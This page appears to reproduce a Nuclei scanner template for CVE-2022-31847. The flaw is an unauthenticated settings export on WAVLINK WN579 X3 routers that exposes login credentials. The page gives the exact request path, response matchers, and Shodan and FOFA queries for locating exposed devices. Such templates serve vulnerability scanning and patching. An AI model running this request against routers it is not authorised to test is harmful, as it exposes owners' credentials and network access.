CVE-2022-31847: WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure

2025-08-01 WAVLINK WN579 X3 M79X3.V5030.180719 PoC Public

Description

WAVLINK WN579 X3 M79X3.V5030.180719 is susceptible to information disclosure in /cgi-bin/ExportAllSettings.sh. An attacker can obtain sensitive router information via a crafted POST request and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2022-31847

info:
  name: WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN579 X3 M79X3.V5030.180719 is susceptible to information disclosure in /cgi-bin/ExportAllSettings.sh. An attacker can obtain sensitive router information via a crafted POST request and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and user credentials.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN579%20X3__Sensitive%20information%20leakage.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31847
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31847
    cwe-id: CWE-425
    epss-score: 0.06555
    epss-percentile: 0.9346
    cpe: cpe:2.3:o:wavlink:wn579x3_firmware:m79x3.v5030.180719:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn579x3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2022,wavlink,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Login='
          - 'Password='
          - 'Model='
          - 'AuthMode='
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202d57987c45d2f0cd493b44c6a92edecb143b3c2c781bb44a6f6ae22d2f2c41a902210099d7a5ed84918141bad5e7912be8d351be89be5761a3d367fef94e7e30d6d947:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31847.yaml

References

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